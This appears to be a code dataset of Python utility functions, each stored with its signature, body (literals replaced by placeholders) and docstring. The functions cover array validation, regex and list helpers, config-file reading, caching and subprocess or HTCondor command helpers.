{"signature": "def indexable(*iterables):", "body": "result = []<EOL>for X in iterables:<EOL><INDENT>if sp.issparse(X):<EOL><INDENT>result.append(X.tocsr())<EOL><DEDENT>elif hasattr(X, \"<STR_LIT>\") or hasattr(X, \"<STR_LIT>\"):<EOL><INDENT>result.append(X)<EOL><DEDENT>elif X is None:<EOL><INDENT>result.append(X)<EOL><DEDENT>else:<EOL><INDENT>result.append(np.array(X))<EOL><DEDENT><DEDENT>check_consistent_length(*result)<EOL>return result<EOL>", "docstring": "Make arrays indexable for cross-validation.\n\n    Checks consistent length, passes through None, and ensures that everything\n    can be indexed by converting sparse matrices to csr and converting\n    non-interable objects to arrays.\n\n    Parameters\n    ----------\n    iterables : lists, dataframes, arrays, sparse matrices\n        List of objects to ensure sliceability.", "id": "f4075:m5"}
{"signature": "def _ensure_sparse_format(spmatrix, accept_sparse, dtype, order, copy,<EOL>force_all_finite):", "body": "if accept_sparse is None:<EOL><INDENT>raise TypeError('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>sparse_type = spmatrix.format<EOL>if dtype is None:<EOL><INDENT>dtype = spmatrix.dtype<EOL><DEDENT>if sparse_type in accept_sparse:<EOL><INDENT>if dtype == spmatrix.dtype:<EOL><INDENT>if copy:<EOL><INDENT>spmatrix = spmatrix.copy()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>spmatrix = spmatrix.astype(dtype)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>spmatrix = spmatrix.asformat(accept_sparse[<NUM_LIT:0>]).astype(dtype)<EOL><DEDENT>if force_all_finite:<EOL><INDENT>if not hasattr(spmatrix, \"<STR_LIT:data>\"):<EOL><INDENT>warnings.warn(\"<STR_LIT>\"<EOL>% spmatrix.format)<EOL><DEDENT>else:<EOL><INDENT>_assert_all_finite(spmatrix.data)<EOL><DEDENT><DEDENT>if hasattr(spmatrix, \"<STR_LIT:data>\"):<EOL><INDENT>spmatrix.data = np.array(spmatrix.data, copy=False, order=order)<EOL><DEDENT>return spmatrix<EOL>", "docstring": "Convert a sparse matrix to a given format.\n\n    Checks the sparse format of spmatrix and converts if necessary.\n\n    Parameters\n    ----------\n    spmatrix : scipy sparse matrix\n        Input to validate and convert.\n\n    accept_sparse : string, list of string or None (default=None)\n        String[s] representing allowed sparse matrix formats ('csc',\n        'csr', 'coo', 'dok', 'bsr', 'lil', 'dia'). None means that sparse\n        matrix input will raise an error.  If the input is sparse but not in\n        the allowed format, it will be converted to the first listed format.\n\n    order : 'F', 'C' or None (default=None)\n        Whether an array will be forced to be fortran or c-style.\n\n    copy : boolean (default=False)\n        Whether a forced copy will be triggered. If copy=False, a copy might\n        be triggered by a conversion.\n\n    force_all_finite : boolean (default=True)\n        Whether to raise an error on np.inf and np.nan in X.\n\n    Returns\n    -------\n    spmatrix_converted : scipy sparse matrix.\n        Matrix that is ensured to have an allowed type.", "id": "f4075:m6"}
{"signature": "def check_array(array, accept_sparse=None, dtype=None, order=None, copy=False,<EOL>force_all_finite=True, ensure_2d=True, allow_nd=False):", "body": "if isinstance(accept_sparse, str):<EOL><INDENT>accept_sparse = [accept_sparse]<EOL><DEDENT>if sp.issparse(array):<EOL><INDENT>array = _ensure_sparse_format(array, accept_sparse, dtype, order,<EOL>copy, force_all_finite)<EOL><DEDENT>else:<EOL><INDENT>if ensure_2d:<EOL><INDENT>array = np.atleast_2d(array)<EOL><DEDENT>array = np.array(array, dtype=dtype, order=order, copy=copy)<EOL>if not allow_nd and array.ndim >= <NUM_LIT:3>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" %<EOL>array.ndim)<EOL><DEDENT>if force_all_finite:<EOL><INDENT>_assert_all_finite(array)<EOL><DEDENT><DEDENT>return array<EOL>", "docstring": "Input validation on an array, list, sparse matrix or similar.\n\n    By default, the input is converted to an at least 2nd numpy array.\n\n    Parameters\n    ----------\n    array : object\n        Input object to check / convert.\n\n    accept_sparse : string, list of string or None (default=None)\n        String[s] representing allowed sparse matrix formats, such as 'csc',\n        'csr', etc.  None means that sparse matrix input will raise an error.\n        If the input is sparse but not in the allowed format, it will be\n        converted to the first listed format.\n\n    order : 'F', 'C' or None (default=None)\n        Whether an array will be forced to be fortran or c-style.\n\n    copy : boolean (default=False)\n        Whether a forced copy will be triggered. If copy=False, a copy might\n        be triggered by a conversion.\n\n    force_all_finite : boolean (default=True)\n        Whether to raise an error on np.inf and np.nan in X.\n\n    ensure_2d : boolean (default=True)\n        Whether to make X at least 2d.\n\n    allow_nd : boolean (default=False)\n        Whether to allow X.ndim > 2.\n\n    Returns\n    -------\n    X_converted : object\n        The converted and validated X.", "id": "f4075:m7"}
{"signature": "def check_X_y(X, y, accept_sparse=None, dtype=None, order=None, copy=False,<EOL>force_all_finite=True, ensure_2d=True, allow_nd=False,<EOL>multi_output=False):", "body": "X = check_array(X, accept_sparse, dtype, order, copy, force_all_finite,<EOL>ensure_2d, allow_nd)<EOL>if multi_output:<EOL><INDENT>y = check_array(y, '<STR_LIT>', force_all_finite=True, ensure_2d=False)<EOL><DEDENT>else:<EOL><INDENT>y = column_or_1d(y, warn=True)<EOL>_assert_all_finite(y)<EOL><DEDENT>check_consistent_length(X, y)<EOL>return X, y<EOL>", "docstring": "Input validation for standard estimators.\n\n    Checks X and y for consistent length, enforces X 2d and y 1d.\n    Standard input checks are only applied to y. For multi-label y,\n    set multi_ouput=True to allow 2d and sparse y.\n\n    Parameters\n    ----------\n    X : nd-array, list or sparse matrix\n        Input data.\n\n    y : nd-array, list or sparse matrix\n        Labels.\n\n    accept_sparse : string, list of string or None (default=None)\n        String[s] representing allowed sparse matrix formats, such as 'csc',\n        'csr', etc.  None means that sparse matrix input will raise an error.\n        If the input is sparse but not in the allowed format, it will be\n        converted to the first listed format.\n\n    order : 'F', 'C' or None (default=None)\n        Whether an array will be forced to be fortran or c-style.\n\n    copy : boolean (default=False)\n        Whether a forced copy will be triggered. If copy=False, a copy might\n        be triggered by a conversion.\n\n    force_all_finite : boolean (default=True)\n        Whether to raise an error on np.inf and np.nan in X.\n\n    ensure_2d : boolean (default=True)\n        Whether to make X at least 2d.\n\n    allow_nd : boolean (default=False)\n        Whether to allow X.ndim > 2.\n\n    Returns\n    -------\n    X_converted : object\n        The converted and validated X.", "id": "f4075:m8"}
{"signature": "def column_or_1d(y, warn=False):", "body": "shape = np.shape(y)<EOL>if len(shape) == <NUM_LIT:1>:<EOL><INDENT>return np.ravel(y)<EOL><DEDENT>if len(shape) == <NUM_LIT:2> and shape[<NUM_LIT:1>] == <NUM_LIT:1>:<EOL><INDENT>if warn:<EOL><INDENT>warnings.warn(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>DataConversionWarning, stacklevel=<NUM_LIT:2>)<EOL><DEDENT>return np.ravel(y)<EOL><DEDENT>raise ValueError(\"<STR_LIT>\".format(shape))<EOL>", "docstring": "Ravel column or 1d numpy array, else raises an error\n\n    Parameters\n    ----------\n    y : array-like\n\n    Returns\n    -------\n    y : array", "id": "f4075:m9"}
{"signature": "def warn_if_not_float(X, estimator='<STR_LIT>'):", "body": "if not isinstance(estimator, str):<EOL><INDENT>estimator = estimator.__class__.__name__<EOL><DEDENT>if X.dtype.kind != '<STR_LIT:f>':<EOL><INDENT>warnings.warn(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (estimator, X.dtype))<EOL>return True<EOL><DEDENT>return False<EOL>", "docstring": "Warning utility function to check that data type is floating point.\n\n    Returns True if a warning was raised (i.e. the input is not float) and\n    False otherwise, for easier input validation.", "id": "f4075:m10"}
{"signature": "def check_random_state(seed):", "body": "if seed is None or seed is np.random:<EOL><INDENT>return np.random.mtrand._rand<EOL><DEDENT>if isinstance(seed, (numbers.Integral, np.integer)):<EOL><INDENT>return np.random.RandomState(seed)<EOL><DEDENT>if isinstance(seed, np.random.RandomState):<EOL><INDENT>return seed<EOL><DEDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>' % seed)<EOL>", "docstring": "Turn seed into a np.random.RandomState instance\n\n    If seed is None, return the RandomState singleton used by np.random.\n    If seed is an int, return a new RandomState instance seeded with seed.\n    If seed is already a RandomState instance, return it.\n    Otherwise raise ValueError.", "id": "f4075:m11"}
{"signature": "def filter_objlist(olist, fieldname, fieldval):", "body": "return [x for x in olist if getattr(x, fieldname) == fieldval]<EOL>", "docstring": "Returns a list with of the objects in olist that have a fieldname valued as fieldval\n\nParameters\n----------\nolist: list of objects\n\nfieldname: string\n\nfieldval: anything\n\nReturns\n-------\nlist of objets", "id": "f4077:m0"}
{"signature": "def filter_list(lst, filt):", "body": "return [m for s in lst for m in (filt(s),) if m]<EOL>", "docstring": "Parameters\n----------\nlst: list\n\nfilter: function\n    Unary string filter function\n\nReturns\n-------\nlist\n    List of items that passed the filter\n\nExample\n-------\n>>> l    = ['12123123', 'N123213']\n>>> filt = re.compile('\\d*').match\n>>> nu_l = list_filter(l, filt)", "id": "f4077:m1"}
{"signature": "def match_list(lst, pattern, group_names=[]):", "body": "filtfn = re.compile(pattern).match<EOL>filtlst = filter_list(lst, filtfn)<EOL>if not group_names:<EOL><INDENT>return [m.string for m in filtlst]<EOL><DEDENT>else:<EOL><INDENT>return [m.group(group_names) for m in filtlst]<EOL><DEDENT>", "docstring": "Parameters\n----------\nlst: list of str\n\nregex: string\n\ngroup_names: list of strings\n    See re.MatchObject group docstring\n\nReturns\n-------\nlist of strings\n    Filtered list, with the strings that match the pattern", "id": "f4077:m2"}
{"signature": "def search_list(lst, pattern):", "body": "filt = re.compile(pattern).search<EOL>return filter_list(lst, filt)<EOL>", "docstring": "Parameters\n----------\npattern: string\n\nlst: list of strings\n\nReturns\n-------\nfiltered_list: list of str\n    Filtered lists with the strings in which the pattern is found.", "id": "f4077:m3"}
{"signature": "def append_to_keys(adict, preffix):", "body": "return {preffix + str(key): (value if isinstance(value, dict) else value)<EOL>for key, value in list(adict.items())}<EOL>", "docstring": "Parameters\n----------\nadict:\npreffix:\n\nReturns\n-------", "id": "f4077:m4"}
{"signature": "def append_to_list(lst, preffix):", "body": "return [preffix + str(item) for item in lst]<EOL>", "docstring": "Parameters\n----------\nlst:\npreffix:\n\nReturns\n-------", "id": "f4077:m5"}
{"signature": "def is_valid_regex(string):", "body": "try:<EOL><INDENT>re.compile(string)<EOL>is_valid = True<EOL><DEDENT>except re.error:<EOL><INDENT>is_valid = False<EOL><DEDENT>return is_valid<EOL>", "docstring": "Checks whether the re module can compile the given regular expression.\n\nParameters\n----------\nstring: str\n\nReturns\n-------\nboolean", "id": "f4077:m6"}
{"signature": "def is_regex(string):", "body": "is_regex = False<EOL>regex_chars = ['<STR_LIT:\\\\>', '<STR_LIT:(>', '<STR_LIT:+>', '<STR_LIT>', '<STR_LIT:$>']<EOL>for c in regex_chars:<EOL><INDENT>if string.find(c) > -<NUM_LIT:1>:<EOL><INDENT>return is_valid_regex(string)<EOL><DEDENT><DEDENT>return is_regex<EOL>", "docstring": "TODO: improve this!\n\nReturns True if the given string is considered a regular expression,\nFalse otherwise.\nIt will be considered a regex if starts with a non alphabetic character\nand then correctly compiled by re.compile\n\n:param string: str", "id": "f4077:m7"}
{"signature": "def is_fnmatch_regex(string):", "body": "is_regex = False<EOL>regex_chars = ['<STR_LIT:!>', '<STR_LIT:*>', '<STR_LIT:$>']<EOL>for c in regex_chars:<EOL><INDENT>if string.find(c) > -<NUM_LIT:1>:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return is_regex<EOL>", "docstring": "Returns True if the given string is considered a fnmatch\nregular expression, False otherwise.\nIt will look for\n\n:param string: str", "id": "f4077:m8"}
{"signature": "def remove_from_string(string, values):", "body": "for v in values:<EOL><INDENT>string = string.replace(v, '<STR_LIT>')<EOL><DEDENT>return string<EOL>", "docstring": "Parameters\n----------\nstring:\nvalues:\n\nReturns\n-------", "id": "f4077:m9"}
{"signature": "def where_is(strings, pattern, n=<NUM_LIT:1>, lookup_func=re.match):", "body": "count = <NUM_LIT:0><EOL>for idx, item in enumerate(strings):<EOL><INDENT>if lookup_func(pattern, item):<EOL><INDENT>count += <NUM_LIT:1><EOL>if count == n:<EOL><INDENT>return idx<EOL><DEDENT><DEDENT><DEDENT>return -<NUM_LIT:1><EOL>", "docstring": "Return index of the nth match found of pattern in strings\n\n    Parameters\n    ----------\n    strings: list of str\n        List of strings\n\n    pattern: str\n        Pattern to be matched\n\n    nth: int\n        Number of times the match must happen to return the item index.\n\n    lookup_func: callable\n        Function to match each item in strings to the pattern, e.g., re.match or re.search.\n\n    Returns\n    -------\n    index: int\n        Index of the nth item that matches the pattern.\n        If there are no n matches will return -1", "id": "f4077:m11"}
{"signature": "def merge(dict_1, dict_2):", "body": "return dict((str(key), dict_1.get(key) or dict_2.get(key))<EOL>for key in set(dict_2) | set(dict_1))<EOL>", "docstring": "Merge two dictionaries.\n\n    Values that evaluate to true take priority over falsy values.\n    `dict_1` takes priority over `dict_2`.", "id": "f4080:m0"}
{"signature": "def get_sys_path(rcpath, app_name, section_name=None):", "body": "<EOL>if op.exists(rcpath):<EOL><INDENT>return op.realpath(op.expanduser(rcpath))<EOL><DEDENT>try:<EOL><INDENT>settings = rcfile(app_name, section_name)<EOL><DEDENT>except:<EOL><INDENT>raise<EOL><DEDENT>try:<EOL><INDENT>sys_path = op.expanduser(settings[rcpath])<EOL><DEDENT>except KeyError:<EOL><INDENT>raise IOError('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(rcpath,<EOL>section_name,<EOL>app_name))<EOL><DEDENT>else:<EOL><INDENT>if not op.exists(sys_path):<EOL><INDENT>raise IOError('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(rcpath, section_name, app_name,<EOL>sys_path))<EOL><DEDENT>return op.realpath(op.expanduser(sys_path))<EOL><DEDENT>", "docstring": "Return a folder path if it exists.\n\n    First will check if it is an existing system path, if it is, will return it\n    expanded and absoluted.\n\n    If this fails will look for the rcpath variable in the app_name rcfiles or\n    exclusively within the given section_name, if given.\n\n    Parameters\n    ----------\n    rcpath: str\n        Existing folder path or variable name in app_name rcfile with an\n        existing one.\n\n    section_name: str\n        Name of a section in the app_name rcfile to look exclusively there for\n        variable names.\n\n    app_name: str\n        Name of the application to look for rcfile configuration files.\n\n    Returns\n    -------\n    sys_path: str\n        A expanded absolute file or folder path if the path exists.\n\n    Raises\n    ------\n    IOError if the proposed sys_path does not exist.", "id": "f4080:m5"}
{"signature": "def rcfile(appname, section=None, args={}, strip_dashes=True):", "body": "if strip_dashes:<EOL><INDENT>for k in args.keys():<EOL><INDENT>args[k.lstrip('<STR_LIT:->')] = args.pop(k)<EOL><DEDENT><DEDENT>environ = get_environment(appname)<EOL>if section is None:<EOL><INDENT>section = appname<EOL><DEDENT>config = get_config(appname,<EOL>section,<EOL>args.get('<STR_LIT>', '<STR_LIT>'),<EOL>args.get('<STR_LIT:path>', '<STR_LIT>'))<EOL>config = merge(merge(args, config), environ)<EOL>if not config:<EOL><INDENT>raise IOError('<STR_LIT>'<EOL>'<STR_LIT>'.format(appname))<EOL><DEDENT>return config<EOL>", "docstring": "Read environment variables and config files and return them merged with\n    predefined list of arguments.\n\n    Parameters\n    ----------\n    appname: str\n        Application name, used for config files and environment variable\n        names.\n\n    section: str\n        Name of the section to be read. If this is not set: appname.\n\n    args:\n        arguments from command line (optparse, docopt, etc).\n\n    strip_dashes: bool\n        Strip dashes prefixing key names from args dict.\n\n    Returns\n    --------\n    dict\n        containing the merged variables of environment variables, config\n        files and args.\n\n    Raises\n    ------\n    IOError\n        In case the return value is empty.\n\n    Notes\n    -----\n    Environment variables are read if they start with appname in uppercase\n    with underscore, for example:\n\n        TEST_VAR=1\n\n    Config files compatible with ConfigParser are read and the section name\n    appname is read, example:\n\n        [appname]\n        var=1\n\n    We can also have host-dependent configuration values, which have\n    priority over the default appname values.\n\n        [appname]\n        var=1\n\n        [appname:mylinux]\n        var=3\n\n\n    For boolean flags do not try to use: 'True' or 'False',\n                                         'on' or 'off',\n                                         '1' or '0'.\n    Unless you are willing to parse this values by yourself.\n    We recommend commenting the variables out with '#' if you want to set a\n    flag to False and check if it is in the rcfile cfg dict, i.e.:\n\n        flag_value = 'flag_variable' in cfg\n\n\n    Files are read from: /etc/appname/config,\n                         /etc/appfilerc,\n                         ~/.config/appname/config,\n                         ~/.config/appname,\n                         ~/.appname/config,\n                         ~/.appnamerc,\n                         appnamerc,\n                         .appnamerc,\n                         appnamerc file found in 'path' folder variable in args,\n                         .appnamerc file found in 'path' folder variable in args,\n                         file provided by 'config' variable in args.\n\n    Example\n    -------\n        args = rcfile(__name__, docopt(__doc__, version=__version__))", "id": "f4080:m6"}
{"signature": "def get_rcfile_section(app_name, section_name):", "body": "try:<EOL><INDENT>settings = rcfile(app_name, section_name)<EOL><DEDENT>except IOError:<EOL><INDENT>raise<EOL><DEDENT>except:<EOL><INDENT>raise KeyError('<STR_LIT>'<EOL>'<STR_LIT>'.format(section_name, app_name))<EOL><DEDENT>else:<EOL><INDENT>return settings<EOL><DEDENT>", "docstring": "Return the dictionary containing the rcfile section configuration\n    variables.\n\n    Parameters\n    ----------\n    section_name: str\n        Name of the section in the rcfiles.\n\n    app_name: str\n        Name of the application to look for its rcfiles.\n\n    Returns\n    -------\n    settings: dict\n        Dict with variable values", "id": "f4080:m7"}
{"signature": "def get_rcfile_variable_value(var_name, app_name, section_name=None):", "body": "cfg = get_rcfile_section(app_name, section_name)<EOL>if var_name in cfg:<EOL><INDENT>raise KeyError('<STR_LIT>'<EOL>'<STR_LIT>'.format(var_name, section_name))<EOL><DEDENT>return cfg[var_name]<EOL>", "docstring": "Return the value of the variable in the section_name section of the\n    app_name rc file.\n\n    Parameters\n    ----------\n    var_name: str\n        Name of the variable to be searched for.\n\n    section_name: str\n        Name of the section in the rcfiles.\n\n    app_name: str\n        Name of the application to look for its rcfiles.\n\n    Returns\n    -------\n    var_value: str\n        The value of the variable with given var_name.", "id": "f4080:m8"}
{"signature": "def find_in_sections(var_name, app_name):", "body": "sections = get_sections(app_name)<EOL>if not sections:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(app_name))<EOL><DEDENT>for s in sections:<EOL><INDENT>try:<EOL><INDENT>var_value = get_rcfile_variable_value(var_name, section_name=s,<EOL>app_name=app_name)<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>return s, var_value<EOL><DEDENT><DEDENT>raise KeyError('<STR_LIT>'<EOL>'<STR_LIT>'.format(var_name, app_name))<EOL>", "docstring": "Return the section and the value of the variable where the first\n    var_name is found in the app_name rcfiles.\n\n    Parameters\n    ----------\n    var_name: str\n        Name of the variable to be searched for.\n\n    app_name: str\n        Name of the application to look for its rcfiles.\n\n    Returns\n    -------\n    section_name: str\n        Name of the section in the rcfiles where var_name was first found.\n\n    var_value: str\n        The value of the first variable with given var_name.", "id": "f4080:m9"}
{"signature": "def setup_logging(log_config_file=op.join(op.dirname(__file__), '<STR_LIT>'),<EOL>log_default_level=LOG_LEVEL,<EOL>env_key=MODULE_NAME.upper() + '<STR_LIT>'):", "body": "path = log_config_file<EOL>value = os.getenv(env_key, None)<EOL>if value:<EOL><INDENT>path = value<EOL><DEDENT>if op.exists(path):<EOL><INDENT>log_cfg = yaml.load(read(path).format(MODULE_NAME))<EOL>logging.config.dictConfig(log_cfg)<EOL><DEDENT>else:<EOL><INDENT>logging.basicConfig(level=log_default_level)<EOL><DEDENT>log = logging.getLogger(__name__)<EOL>log.debug('<STR_LIT>')<EOL>", "docstring": "Setup logging configuration.", "id": "f4081:m0"}
{"signature": "def _safe_cache(memory, func, **kwargs):", "body": "cachedir = memory.cachedir<EOL>if cachedir is None or cachedir in __CACHE_CHECKED:<EOL><INDENT>return memory.cache(func, **kwargs)<EOL><DEDENT>version_file = os.path.join(cachedir, '<STR_LIT>')<EOL>versions = dict()<EOL>if os.path.exists(version_file):<EOL><INDENT>with open(version_file, '<STR_LIT:r>') as _version_file:<EOL><INDENT>versions = json.load(_version_file)<EOL><DEDENT><DEDENT>modules = (nibabel, )<EOL>my_versions = dict((m.__name__, LooseVersion(m.__version__).version[:<NUM_LIT:2>])<EOL>for m in modules)<EOL>commons = set(versions.keys()).intersection(set(my_versions.keys()))<EOL>collisions = [m for m in commons if versions[m] != my_versions[m]]<EOL>if len(collisions) > <NUM_LIT:0>:<EOL><INDENT>if nilearn.CHECK_CACHE_VERSION:<EOL><INDENT>warnings.warn(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>% cachedir)<EOL>try:<EOL><INDENT>tmp_dir = (os.path.split(cachedir)[:-<NUM_LIT:1>]<EOL>+ ('<STR_LIT>' % os.getpid(), ))<EOL>tmp_dir = os.path.join(*tmp_dir)<EOL>os.rename(cachedir, tmp_dir)<EOL>shutil.rmtree(tmp_dir)<EOL><DEDENT>except OSError:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>os.makedirs(cachedir)<EOL><DEDENT>except OSError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>else:<EOL><INDENT>warnings.warn(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % cachedir)<EOL><DEDENT><DEDENT>if versions != my_versions:<EOL><INDENT>with open(version_file, '<STR_LIT:w>') as _version_file:<EOL><INDENT>json.dump(my_versions, _version_file)<EOL><DEDENT><DEDENT>__CACHE_CHECKED[cachedir] = True<EOL>return memory.cache(func, **kwargs)<EOL>", "docstring": "A wrapper for mem.cache that flushes the cache if the version\n        number of nibabel has changed.", "id": "f4082:m0"}
{"signature": "def cache(func, memory, func_memory_level=None, memory_level=None,<EOL>**kwargs):", "body": "verbose = kwargs.get('<STR_LIT>', <NUM_LIT:0>)<EOL>memory_levels = [memory_level, func_memory_level]<EOL>both_params_integers = all(isinstance(lvl, int) for lvl in memory_levels)<EOL>both_params_none = all(lvl is None for lvl in memory_levels)<EOL>if not (both_params_integers or both_params_none):<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>if memory is not None and (func_memory_level is None or<EOL>memory_level >= func_memory_level):<EOL><INDENT>if isinstance(memory, _basestring):<EOL><INDENT>memory = Memory(cachedir=memory, verbose=verbose)<EOL><DEDENT>if not isinstance(memory, MEMORY_CLASSES):<EOL><INDENT>raise TypeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (memory, type(memory)))<EOL><DEDENT>if (memory.cachedir is None and memory_level is not None<EOL>and memory_level > <NUM_LIT:1>):<EOL><INDENT>warnings.warn(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" %<EOL>(memory_level, func.__name__),<EOL>stacklevel=<NUM_LIT:2>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>memory = Memory(cachedir=None, verbose=verbose)<EOL><DEDENT>return _safe_cache(memory, func, **kwargs)<EOL>", "docstring": "Return a joblib.Memory object.\n\n    The memory_level determines the level above which the wrapped\n    function output is cached. By specifying a numeric value for\n    this level, the user can to control the amount of cache memory\n    used. This function will cache the function call or not\n    depending on the cache level.\n\n    Parameters\n    ----------\n    func: function\n        The function which output is to be cached.\n\n    memory: instance of joblib.Memory or string\n        Used to cache the function call.\n\n    func_memory_level: int, optional\n        The memory_level from which caching must be enabled for the wrapped\n        function.\n\n    memory_level: int, optional\n        The memory_level used to determine if function call must\n        be cached or not (if user_memory_level is equal of greater than\n        func_memory_level the function is cached)\n\n    kwargs: keyword arguments\n        The keyword arguments passed to memory.cache\n\n    Returns\n    -------\n    mem: joblib.MemorizedFunc\n        object that wraps the function func. This object may be\n        a no-op, if the requested level is lower than the value given\n        to _cache()). For consistency, a joblib.Memory object is always\n        returned.", "id": "f4082:m1"}
{"signature": "def _cache(self, func, func_memory_level=<NUM_LIT:1>, **kwargs):", "body": "verbose = getattr(self, '<STR_LIT>', <NUM_LIT:0>)<EOL>if not hasattr(self, \"<STR_LIT>\"):<EOL><INDENT>self.memory_level = <NUM_LIT:0><EOL><DEDENT>if not hasattr(self, \"<STR_LIT>\"):<EOL><INDENT>self.memory = Memory(cachedir=None, verbose=verbose)<EOL><DEDENT>if isinstance(self.memory, _basestring):<EOL><INDENT>self.memory = Memory(cachedir=self.memory, verbose=verbose)<EOL><DEDENT>if self.memory_level == <NUM_LIT:0>:<EOL><INDENT>if (isinstance(self.memory, _basestring)<EOL>or self.memory.cachedir is not None):<EOL><INDENT>warnings.warn(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>self.memory_level = <NUM_LIT:1><EOL><DEDENT><DEDENT>return cache(func, self.memory, func_memory_level=func_memory_level,<EOL>memory_level=self.memory_level, **kwargs)<EOL>", "docstring": "Return a joblib.Memory object.\n\n        The memory_level determines the level above which the wrapped\n        function output is cached. By specifying a numeric value for\n        this level, the user can to control the amount of cache memory\n        used. This function will cache the function call or not\n        depending on the cache level.\n\n        Parameters\n        ----------\n        func: function\n            The function the output of which is to be cached.\n\n        memory_level: int\n            The memory_level from which caching must be enabled for the wrapped\n            function.\n\n        Returns\n        -------\n        mem: joblib.Memory\n            object that wraps the function func. This object may be\n            a no-op, if the requested level is lower than the value given\n            to _cache()). For consistency, a joblib.Memory object is always\n            returned.", "id": "f4082:c0:m0"}
{"signature": "def which(program):", "body": "if (sys.version_info > (<NUM_LIT:3>, <NUM_LIT:0>)):<EOL><INDENT>return which_py3(program)<EOL><DEDENT>else:<EOL><INDENT>return which_py2(program)<EOL><DEDENT>", "docstring": "Returns the absolute path of the given CLI program name.", "id": "f4083:m0"}
{"signature": "def whoami():", "body": "return inspect.stack()[<NUM_LIT:1>][<NUM_LIT:3>]<EOL>", "docstring": "Get the name of the current function", "id": "f4083:m3"}
{"signature": "def whosdaddy():", "body": "return inspect.stack()[<NUM_LIT:2>][<NUM_LIT:3>]<EOL>", "docstring": "Get the name of the current function", "id": "f4083:m4"}
{"signature": "def die(msg, code=-<NUM_LIT:1>):", "body": "sys.stderr.write(msg + \"<STR_LIT:\\n>\")<EOL>sys.exit(code)<EOL>", "docstring": "Writes msg to stderr and exits with return code", "id": "f4083:m5"}
{"signature": "def check_call(cmd_args):", "body": "p = subprocess.Popen(cmd_args, stdout=subprocess.PIPE)<EOL>(output, err) = p.communicate()<EOL>return output<EOL>", "docstring": "Calls the command\n\nParameters\n----------\ncmd_args: list of str\n    Command name to call and its arguments in a list.\n\nReturns\n-------\nCommand output", "id": "f4083:m6"}
{"signature": "def call_command(cmd_name, args_strings):", "body": "if not op.isabs(cmd_name):<EOL><INDENT>cmd_fullpath = which(cmd_name)<EOL><DEDENT>else:<EOL><INDENT>cmd_fullpath = cmd_name<EOL><DEDENT>try:<EOL><INDENT>cmd_line = [cmd_fullpath] + args_strings<EOL>log.info('<STR_LIT>'.format(cmd_line))<EOL>retval = subprocess.check_call(cmd_line)<EOL><DEDENT>except CalledProcessError as ce:<EOL><INDENT>log.exception(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(cmd_name, args_strings,<EOL>ce.returncode))<EOL>raise<EOL><DEDENT>else:<EOL><INDENT>return retval<EOL><DEDENT>", "docstring": "Call CLI command with arguments and returns its return value.\n\n    Parameters\n    ----------\n    cmd_name: str\n        Command name or full path to the binary file.\n\n    arg_strings: list of str\n        Argument strings list.\n\n    Returns\n    -------\n    return_value\n        Command return value.", "id": "f4083:m7"}
{"signature": "def condor_call(cmd, shell=True):", "body": "log.info(cmd)<EOL>ret = condor_submit(cmd)<EOL>if ret != <NUM_LIT:0>:<EOL><INDENT>subprocess.call(cmd, shell=shell)<EOL><DEDENT>", "docstring": "Tries to submit cmd to HTCondor, if it does not succeed, it will\nbe called with subprocess.call.\n\nParameters\n----------\ncmd: string\n    Command to be submitted\n\nReturns\n-------", "id": "f4083:m8"}
{"signature": "def condor_submit(cmd):", "body": "is_running = subprocess.call('<STR_LIT>', shell=True) == <NUM_LIT:0><EOL>if not is_running:<EOL><INDENT>raise CalledProcessError('<STR_LIT>')<EOL><DEDENT>sub_cmd = '<STR_LIT>'+ cmd.split()[<NUM_LIT:0>] + '<STR_LIT>'<EOL>log.info('<STR_LIT>' + sub_cmd)<EOL>return subprocess.call(sub_cmd + '<STR_LIT:U+0020>' + cmd, shell=True)<EOL>", "docstring": "Submits cmd to HTCondor queue\n\nParameters\n----------\ncmd: string\n    Command to be submitted\n\nReturns\n-------\nint\n    returncode value from calling the submission command.", "id": "f4083:m9"}
{"signature": "@mask.setter<EOL><INDENT>def mask(self, image):<DEDENT>", "body": "if image is None:<EOL><INDENT>self._mask = None<EOL><DEDENT>try:<EOL><INDENT>mask = load_mask(image)<EOL><DEDENT>except Exception as exc:<EOL><INDENT>raise Exception('<STR_LIT>'.format(image)) from exc<EOL><DEDENT>else:<EOL><INDENT>self._mask = mask<EOL><DEDENT>", "docstring": "self.mask setter\n\n        Parameters\n        ----------\n        image: str or img-like object.\n            See NeuroImage constructor docstring.", "id": "f4085:c0:m4"}
